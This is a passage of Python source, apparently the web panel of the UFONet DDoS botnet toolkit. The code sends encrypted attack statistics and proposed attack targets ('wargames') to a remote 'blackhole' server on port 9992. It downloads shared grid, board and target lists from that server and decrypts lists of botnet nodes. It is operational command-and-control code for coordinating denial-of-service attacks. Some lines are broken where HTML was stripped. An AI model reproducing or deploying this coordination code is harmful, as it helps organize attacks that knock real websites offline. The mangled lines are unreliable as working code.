if grid_key is not "": # stream creation + encryption + package send
try:
grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
grid_data = json.load(grid_json_file)
grid_json_file.close()
stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
stats_data = json.load(stats_json_file)
stats_json_file.close()
nickname = grid_data["grid_nick"].encode('utf-8')
self.encrypt(grid_key, nickname)
if self.encryptedtext:
nickname = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
ranking = self.ranking
if ranking == "Rookie":
ranking = 1
elif ranking == "Mercenary":
ranking = 2
elif ranking == "Bandit":
ranking = 3
elif ranking == "UFOmmander!":
ranking = 4
else:
ranking = 1
self.encrypt(grid_key, str(ranking))
if self.encryptedtext:
ranking = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
chargo = self.total_botnet
self.encrypt(grid_key, str(chargo))
if self.encryptedtext:
chargo = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
dorking = stats_data["scanner"]
self.encrypt(grid_key, str(dorking))
if self.encryptedtext:
dorking = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
transferred = stats_data["transferred"]
self.encrypt(grid_key, str(transferred))
if self.encryptedtext:
transferred = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
max_chargo = stats_data["max_chargo"]
self.encrypt(grid_key, str(max_chargo))
if self.encryptedtext:
max_chargo = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
missions = stats_data["missions"]
self.encrypt(grid_key, str(missions))
if self.encryptedtext:
missions = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
attacks = stats_data["completed"]
self.encrypt(grid_key, str(attacks))
if self.encryptedtext:
attacks = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
loic = stats_data["loic"]
self.encrypt(grid_key, str(loic))
if self.encryptedtext:
loic = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
loris = stats_data["loris"]
self.encrypt(grid_key, str(loris))
if self.encryptedtext:
loris = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
ufosyn = stats_data["ufosyn"]
self.encrypt(grid_key, str(ufosyn))
if self.encryptedtext:
ufosyn = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
contact = grid_data["grid_contact"].encode('utf-8')
self.encrypt(grid_key, str(contact))
if self.encryptedtext:
contact = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
id = grid_data["grid_token"] # plain text
stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
try:
host = blackhole_ip
cport = 9992 # port used by mothership grider (server side script)
gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
gs.settimeout(5.0)
gs.connect((host, cport))
gs.send(stream)
gs.close()
try: # download latest grid after submit
grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
f = open(self.grid_file, "w") # write updates to grid.txt
f.write(str(grid))
f.close()
except:
pass
grid_trans = "[Mothership/Info] Congratulations. Statistics successfully transferred...\n"
except:
grid_trans = "[Mothership/Error] Something wrong when uploading statistics to this grid. Try it again...\n"
except:
grid_trans = "[Mothership/Error] Something wrong when uploading statistics to this grid. Try it again...\n"
end_mark = "\n[Mothership/Info] End of transmission. Refreshing grid..."
f = open("/tmp/out", "w")
f.write(grid_trans)
f.write(end_mark)
f.close()
if page == "/cmd_transfer_grid_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_transfer_grid_update"] = "
"+f.read()+"
"
if page == "/cmd_transfer_wargame":
self.pages["/cmd_transfer_wargame"] = "
Waiting for 'blackhole' connection...
"
blackhole_ip = pGet["wargames_source2"]
blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
try:
wargames_enckey = pGet["wargames_enckey"]
except:
wargames_enckey = ""
wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
wargames_target = pGet["wargames_target"]
if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
t = urlparse(str(wargames_target))
wargames_target = t.netloc
else:
wargames_trans = "[Mothership/Error] Proposed target is not using a correct format!. Try it again...\n"
wargames_enckey = ""
if wargames_target.startswith("www."):
wargames_target = wargames_target.replace("www.","")
wargames_estimated = pGet["wargames_estimated"]
try:
wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
if (wargames_creation > wargames_estimated) == True: # parse bad dates
wargames_trans = "[Mothership/Error] Date time should be major than creation time. Try it again...\n"
wargames_enckey = ""
except:
wargames_trans = "[Mothership/Error] Date time is not using a correct format!. Try it again...\n"
wargames_enckey = ""
end_mark = "\n[Mothership/Info] End of transmission. Refreshing wargames..."
if wargames_enckey is not "": # stream creation + encryption + package send
wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
try:
self.encrypt(wargames_enckey, wargames_creation)
if self.encryptedtext:
wargames_creation = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
self.encrypt(wargames_enckey, wargames_target)
if self.encryptedtext:
wargames_target = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
self.encrypt(wargames_enckey, wargames_estimated)
if self.encryptedtext:
wargames_estimated = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
try:
host = blackhole_ip
cport = 9992 # port used by mothership grider (server side script)
gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
gs.settimeout(5.0)
gs.connect((host, cport))
gs.send(stream)
gs.close()
try: # download latest wargames after submit
wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
f = open(self.wargames_file, "w") # write updates to wargames.txt
f.write(str(wargames))
f.close()
except:
pass
wargames_trans = "[Mothership/Info] Congratulations. Wargame successfully transferred...\n"
except:
wargames_trans = "[Mothership/Error] Something wrong when uploading wargame. Try it again...\n"
except:
wargames_trans = "[Mothership/Error] Something wrong when uploading wargame. Try it again...\n"
end_mark = "\n[Mothership/Info] End of transmission. Refreshing wargames..."
f = open("/tmp/out", "w")
f.write(wargames_trans)
f.write(end_mark)
f.close()
if page == "/cmd_transfer_wargame_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_transfer_wargame_update"] = "
"+f.read()+"
"
if page == "/cmd_sync_board":
self.pages["/cmd_sync_board"] = "
Waiting for 'blackhole' reply...
"
blackhole_ip = pGet["board_source"]
blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
try:
board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
f = open(self.board_file, "w") # write updates to board.txt
f.write(str(board))
f.close()
self.board_text = board
except:
board = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
end_mark = "\n[Mothership/Info] End of transmission. Refreshing board..."
f = open("/tmp/out", "w")
f.write(str(board))
f.write(end_mark)
f.close()
if page == "/cmd_sync_board_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
stream = f.read()
stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
self.pages["/cmd_sync_board_update"] = "
"+stream+"
"
if page == "/cmd_send_message_board":
self.pages["/cmd_send_message_board"] = "
Waiting for 'blackhole' connection...
"
blackhole_ip = pGet["board_source"]
blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
try:
board_key = pGet["board_key"]
except:
board_key = ""
try:
board_topic = pGet["board_topic"]
except:
board_topic = ""
try:
board_message = pGet["stream_txt"]
except:
board_message = ""
end_mark = "\n[Mothership/Info] End of transmission. Refreshing board..."
if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
try:
board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
board_data = json.load(board_json_file)
board_json_file.close()
board_nickname = board_data["profile_nick"]
self.encrypt(board_key, board_nickname)
if self.encryptedtext:
board_nickname = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
board_icon = board_data["profile_icon"]
board_icon = board_icon.replace("link", "") # keep just icon number
board_id = board_data["profile_token"]
self.encrypt(board_key, board_message)
if self.encryptedtext:
board_message = self.encryptedtext
self.encryptedtext = "" # clean encryptedtext buffer
if board_topic == "general":
board_topic = 1
elif board_topic == "opsec":
board_topic = 2
elif board_topic == "faq":
board_topic = 3
elif board_topic == "bugs":
board_topic = 4
elif board_topic == "media":
board_topic = 5
else:
board_topic = 1
stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
try:
host = blackhole_ip
cport = 9992 # port used by mothership grider (server side script)
gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
gs.settimeout(5.0)
gs.connect((host, cport))
gs.send(stream)
gs.close()
try: # download latest board after submit
board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
f = open(self.board_file, "w") # write updates to board.txt
f.write(str(board))
f.close()
except:
pass
board_trans = "[Mothership/Info] Congratulations. The message has been sent successfully...\n"
except:
board_trans = "[Mothership/Error] Something wrong sending your message to the board. Try it again...\n"
except:
board_trans = "[Mothership/Error] Something wrong sending your message to the board. Try it again...\n"
f = open("/tmp/out", "w")
f.write(board_trans)
f.write(end_mark)
f.close()
if page == "/cmd_send_message_board_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_send_message_board_update"] = "
"+f.read()+"
"
if page == "/cmd_decrypt":
self.pages["/cmd_decrypt"] = "
Waiting for decrypting results...
"
try:
news_key = pGet["news_key"]
except:
news_key = ""
try:
missions_key = pGet["missions_key"]
except:
missions_key = ""
end_mark = "\n[Mothership/Info] End of decryption."
if news_key is not "": # news decryption
self.decrypted_news = []
nodec_text = "*** [This message cannot be solved with that key...]"
news_key = pGet["news_key"]
for news_text in self.list_news:
self.decrypt(news_key, news_text)
if self.decryptedtext:
self.decrypted_news.append(self.decryptedtext)
else:
self.decrypted_news.append(nodec_text)
self.decryptedtext = "" # clean decryptedtext buffer
f = open("/tmp/out", "w")
num_news = 0 # news counter
for m in self.decrypted_news:
num_news = num_news + 1
f.write("["+str(num_news)+"] " + str(m)+"\n")
f.write(end_mark)
f.close()
else:
if missions_key is not "": # missions decryption
self.decrypted_missions = []
nodec_text = "*** [This message cannot be solved with that key...]"
missions_key = pGet["missions_key"]
for missions_text in self.list_missions:
self.decrypt(missions_key, missions_text)
if self.decryptedtext:
self.decrypted_missions.append(self.decryptedtext)
else:
self.decrypted_missions.append(nodec_text)
self.decryptedtext = "" # clean decryptedtext buffer
f = open("/tmp/out", "w")
num_mission = 0 # missions counter
for m in self.decrypted_missions:
num_mission = num_mission + 1
f.write("["+str(num_mission)+"] " + str(m)+"\n")
f.write(end_mark)
f.close()
else: # blackholes (nodes.dat) decryption + data showing
self.decrypted_blackholes = []
nodec_text = "*** [This message cannot be solved with that key...]"
blackhole_key = pGet["blackhole_key"]
for blackholes_text in self.list_blackholes:
self.decrypt(blackhole_key, blackholes_text)
if self.decryptedtext:
self.decrypted_blackholes.append(self.decryptedtext)
else:
self.decrypted_blackholes.append(nodec_text)
self.decryptedtext = "" # clean decryptedtext buffer
f = open("/tmp/out", "w")
num_blackholes = 0 # blackholes counter
for b in self.decrypted_blackholes:
num_blackholes = num_blackholes + 1
if blackhole_sep in b: # IP | Mode | Comment | Actions
s = b.rsplit(blackhole_sep, 1)[0]
ip = str(s.rsplit(blackhole_sep, 1)[0])
mode = str(s.rsplit(blackhole_sep, 1)[1])
if mode == "D": # Download only mode
mode = "Download"
elif mode == "U": # Upload only mode
mode = "Upload"
else: # Upload/Download mode
mode = "Download" + " - " + "Upload"
comment = str(b.rsplit(blackhole_sep, 1)[1])
b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
else:
f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
f.write(end_mark)
f.close()
if page == "/cmd_decrypt_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_decrypt_update"] = "
"+f.read()+"
"
if page == "/news":
self.pages["/news"] = self.html_news()
if page == "/missions":
self.pages["/missions"] = self.html_missions()
if page == "/board":
self.pages["/board"] = self.html_board()
if page == "/grid":
self.pages["/grid"] = self.html_grid()
if page == "/wargames":
self.pages["/wargames"] = self.html_wargames()
if page == "/grid_profile":
if pGet=={}:
self.pages["/grid_profile"] = self.html_grid_profile()
else:
self.save_grid(pGet)
self.pages["/grid_profile"] = self.html_grid_profile_submit()
if page == "/board_profile":
if pGet =={}:
self.pages["/board_profile"] = self.html_board_profile()
else:
self.save_profile(pGet)
self.pages["/board_profile"] = self.html_board_profile_submit()
if page == "/board_remove":
self.pages["/board_remove"] = self.html_board_remove()
if page == "/grid_remove":
self.pages["/grid_remove"] = self.html_grid_remove()
if page == "/cmd_decrypt_moderator_board":
self.pages["/cmd_decrypt_moderator_board"] = "
Waiting for decrypting results...
"
try:
board_key = pGet["board_key"]
except:
board_key = ""
try:
filter = pGet["filter"]
except:
filter = ""
end_mark = "\n[Mothership/Info] End of decryption."
if board_key is not "": # board decryption
nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
f = open("/tmp/out", "w")
b = "
"
f.write(str(b)+"\n")
self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
if board_msg_sep in m:
m = m.split(board_msg_sep)
topic = m[0] # topic
t = m[1] # icon
n = m[2] # nick
g = m[3] # id
l = m[4] # comment
if topic == "1":
topic = "/GENERAL"
elif topic == "2":
topic = "/#OPSEC "
elif topic == "3":
topic = "/FAQ "
elif topic == "4":
topic = "/BUGS "
elif topic == "5":
topic = "/MEDIA "
else:
topic = "/BUGS[!]"
icon = ""
nick = str(n)
self.decrypt(board_key, nick)
if self.decryptedtext:
nick = self.decryptedtext
else:
nick = 'Anonymous' # We are legion!
self.decryptedtext = "" # clean decryptedtext buffer
id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
msg = str(l)
self.decrypt(board_key, msg)
if self.decryptedtext:
msg = self.decryptedtext
else:
msg = nodec_text
self.decryptedtext = "" # clean decryptedtext buffer
if filter in topic or filter == "ALL": # filter content by user selection
b = "
" + icon + " "+nick+"
"
b += ""+topic+""
b += " by "+nick+"
"
b += str(msg) + "
"
f.write(str(b)+"\n")
else:
pass
else: # not valid stream data
pass
b="
"
f.write(str(b)+"\n")
f.write(end_mark)
f.close()
if page == "/cmd_decrypt_moderator_board_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_decrypt_moderator_board_update"] = "
"+f.read()+"
"
if page == "/cmd_decrypt_grid":
self.pages["/cmd_decrypt_grid"] = "
"
grid_key = pGet["grid_key"]
f = open("/tmp/out", "w")
self.list_grid_rev = reversed(self.list_grid) # order by DESC
for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, contact, ID
if grid_msg_sep in m:
version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1)
m = m.split(grid_msg_sep)
grid_nickname = m[0] # nickname
self.decrypt(grid_key, grid_nickname)
if self.decryptedtext:
grid_nickname = self.decryptedtext
else:
grid_nickname = nodec_text
self.decryptedtext = "" # clean decryptedtext buffer
if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3View" # js contact view
except:
grid_contact = "View" # js error contact view
except:
pass
try:
grid_id = m[12] # id
except:
pass
elif version == 11: # v1.0
grid_loris = m[9] # loris
self.decrypt(grid_key, grid_loris)
if self.decryptedtext:
grid_loris = self.decryptedtext
else:
grid_loris = nodec_text
self.decryptedtext = "" # clean decryptedtext buffer
try: # parse for int
grid_loris = int(grid_loris)
mothership_loris = mothership_loris + grid_loris
except:
grid_loris = nodec_text
grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
self.decrypt(grid_key, grid_ufosyn)
if self.decryptedtext:
grid_ufosyn = self.decryptedtext
else:
grid_ufosyn = nodec_text
self.decryptedtext = "" # clean decryptedtext buffer
try: # parse for int
grid_ufosyn = int(grid_ufosyn)
mothership_ufosyn = mothership_ufosyn + grid_ufosyn
except:
grid_ufosyn = nodec_text
try: # decrypt + parse contact len + correct js view (without blank spaces)
grid_contact = m[10] # contact
self.decrypt(grid_key, grid_contact)
if self.decryptedtext:
grid_contact = self.decryptedtext
else:
grid_contact = nodec_text
self.decryptedtext = "" # clean decryptedtext buffer
if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3View" # js contact view
except:
grid_contact = "View" # js error contact view
except:
pass
try:
grid_id = m[11] # id
except:
pass
elif version == 10: # v0.9
grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
self.decrypt(grid_key, grid_loris)
if self.decryptedtext:
grid_loris = self.decryptedtext
else:
grid_loris = nodec_text
self.decryptedtext = "" # clean decryptedtext buffer
try: # parse for int
grid_loris = int(grid_loris)
mothership_loris = mothership_loris + grid_loris
except:
grid_loris = nodec_text
grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
self.decrypt(grid_key, grid_ufosyn)
if self.decryptedtext:
grid_ufosyn = self.decryptedtext
else:
grid_ufosyn = nodec_text
self.decryptedtext = "" # clean decryptedtext buffer
try: # parse for int
grid_ufosyn = int(grid_ufosyn)
mothership_ufosyn = mothership_ufosyn + grid_ufosyn
except:
grid_ufosyn = nodec_text
try: # decrypt + parse contact len + correct js view (without blank spaces)
grid_contact = m[9] # contact
self.decrypt(grid_key, grid_contact)
if self.decryptedtext:
grid_contact = self.decryptedtext
else:
grid_contact = nodec_text
self.decryptedtext = "" # clean decryptedtext buffer
if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3View" # js contact view
except:
grid_contact = "View" # js error contact view
except:
pass
try:
grid_id = m[10] # id
except:
pass
else: # no valid version
pass
try: # parsing for valid stream struct
grid_nickname = str(grid_nickname)
grid_table += "
"+str(grid_nickname)+"
"+str(grid_ranking)+"
"+str(grid_totalchargo)+"
"+str(grid_dorking)+"
"+str(grid_transferred)+"
"+str(grid_maxchargo)+"
"+str(grid_missions)+"
"+str(grid_attacks)+"
"+str(grid_loic)+"
"+str(grid_loris)+"
"+str(grid_ufosyn)+"
"+str(grid_contact)+"
"
except:
grid_table += "
INVALID!
INVALID!
INVALID!
INVALID!
INVALID!
INVALID!
INVALID!
INVALID!
INVALID!
INVALID!
INVALID!
INVALID!
"
grid_table += "
"
l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
mother_table = "
MOTHERSHIP STATS: (Last Update: "+str(l)+")
MEMBERS:
"+str(mothership_members)+"
****
"+str(member_4)+"
***
"+str(member_3)+"
**
"+str(member_2)+"
*
"+str(member_1)+"
MISSIONS:
"+str(mothership_missions)+"
ATTACKS:
"+str(mothership_attacks)+"
LOIC:
"+str(mothership_loic)+"
LORIS:
"+str(mothership_loris)+"
UFOSYN:
"+str(mothership_ufosyn)+"
CHARGO (ACTIVE!):
"+str(mothership_chargo)+"
DORKING:
"+str(mothership_dorking)+"
MAX.CHARGO:
"+str(mothership_maxchargo)+"
"
f.write(mother_table)
f.write(grid_table)
f.write(end_mark)
f.close()
else: # not valid stream data
pass
if page == "/cmd_decrypt_grid_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_decrypt_grid_update"] = "
"+f.read()+"
"
if page == "/cmd_decrypt_wargames":
self.pages["/cmd_decrypt_wargames"] = "
Waiting for decrypting results...
"
wargames_join_flag = False # anti-join flag for non decrypted wargames
try:
wargames_deckey = pGet["wargames_deckey"]
except:
wargames_deckey = ""
end_mark = "[Mothership/Info] End of decryption."
if wargames_deckey is not "": # wargames decryption
nodec_text = "KEY?"
try: # read global army supply from configuration file (json)
with open(self.mothership_supplycfg_file) as data_file:
data = json.load(data_file)
except:
if os.path.exists(self.mothership_supplycfg_file) == True:
print '[Error] - Cannot open: "core/json/supplycfg.json"...\n'
sys.exit(2)
else: # generate default global army supply configuration file
print '[Info] - Cannot found: "core/json/supplycfg.json". Generating...\n'
with open(self.mothership_supplycfg_file, "w") as f:
json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0}, f, indent=4)
with open(self.mothership_supplycfg_file) as data_file:
data = json.load(data_file)
self.supply_botnet = data["botnet"]
self.supply_loic = data["loic"]
self.supply_loris = data["loris"]
self.supply_ufosyn = data["ufosyn"]
f = open(self.wargames_file,"r")
ls = f.readlines()
f.close()
if ls:
wargames_autopanel = "MASSIVE ACTION:
"
f.write(wargames_table)
f.write(end_mark)
f.close()
if page == "/cmd_decrypt_wargames_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_decrypt_wargames_update"] = "
"+f.read()+"
"
if page == "/blackholes":
self.pages["/blackholes"] = self.html_blackholes()
if page == "/requests":
if pGet=={}:
self.pages["/requests"] = self.html_requests()
else:
self.save_cfg(pGet)
self.pages["/requests"] = self.html_request_submit()
if page == "/abduction":
self.pages["/abduction"] = self.html_abduction()
if page == "/stats":
self.pages["/stats"] = self.html_stats()
if page == "/wormhole":
self.pages["/wormhole"] = self.pages["/header"] + "